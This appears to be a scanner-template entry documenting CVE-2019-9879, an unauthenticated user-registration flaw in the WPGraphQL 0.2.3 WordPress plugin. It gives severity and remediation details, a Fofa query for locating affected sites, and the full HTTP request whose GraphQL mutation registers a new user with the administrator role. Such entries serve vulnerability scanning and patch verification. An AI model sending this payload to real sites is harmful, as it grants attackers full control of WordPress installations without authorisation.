| Title | WPGraphQL 0.2.3 - User Creation |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | Attackers can create admin users, leading to full control over the WordPress site. |
| Remediation | Update to the latest version of WPGraphQL or apply security patches to restrict user registration permissions. |
| CVSS Score | 9.8 |
| EPSS Score | 0.77634 |
| CVE ID | CVE-2019-9879 |
| CWE ID | CWE-306 |
| Fofa Query | body="/wp-content/plugins/wp-graphql/" |
| Tags | cve cve2019 wp-graphql wpengine wordpress wp-plugin intrusive vkev vuln |
The WPGraphQL 0.2.3 plugin for WordPress allows remote attackers to register a new user with admin privileges, whenever new user registrations are allowed. This is related to the registerUser mutation.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 187
Content-type: application/json
Accept-Encoding: gzip
{"query": "mutation{registerUser(input:{clientMutationId:\"UWHATM8\",email:\"fkl4iz@g7adac.com\",password:\"eeMnIMfC\",username:\"pcJUTZ\",roles:[\"administrator\"]}){clientMutationId}}"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9879.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9879.pcap
N/AN/A